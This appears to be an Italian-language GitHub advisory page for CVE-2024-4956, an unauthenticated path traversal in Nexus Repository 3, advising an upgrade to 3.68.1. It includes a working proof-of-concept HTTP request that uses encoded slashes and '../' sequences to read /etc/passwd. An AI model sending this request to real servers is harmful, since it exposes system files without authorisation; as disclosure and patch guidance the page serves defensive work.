erickfernandox/cve-2024-4956Path Traversal non autenticato in Nexus Repository 3
Nexus Repository Manager è un repository manager che organizza, archivia e distribuisce gli artefatti necessari allo sviluppo.
È stata scoperta una vulnerabilità di path traversal in Nexus Repository 3, nelle versioni precedenti alla 3.68.1. Questa vulnerabilità consente a un utente malintenzionato di creare un URL per scaricare file di sistema al di fuori dell'ambito dell'applicazione Nexus Repository, senza alcuna autenticazione. Ciò comporta un rischio significativo, poiché può esporre file di sistema sensibili e potenzialmente compromettere la sicurezza dell'ambiente in cui è installato Nexus Repository.
Si consiglia di aggiornare Nexus Repository alla versione 3.68.1 o successiva il prima possibile per mitigare questa vulnerabilità.
Per maggiori informazioni e dettagli tecnici sulla vulnerabilità, fare riferimento al seguente link:
Riferimenti:
La vulnerabilità interessa le versioni dalla 3.0 alla 3.68.0 di Sonatype Nexus Repository Manager.
L'aggiornamento di Nexus Repository è l'approccio consigliato per eliminare questa vulnerabilità. Tuttavia, sono disponibili opzioni di mitigazione immediate per le distribuzioni che non possono essere aggiornate subito:
Riferimenti:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Con il PoC sopra riportato, è possibile vedere il file /etc/passwd che viene acceduto:
(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml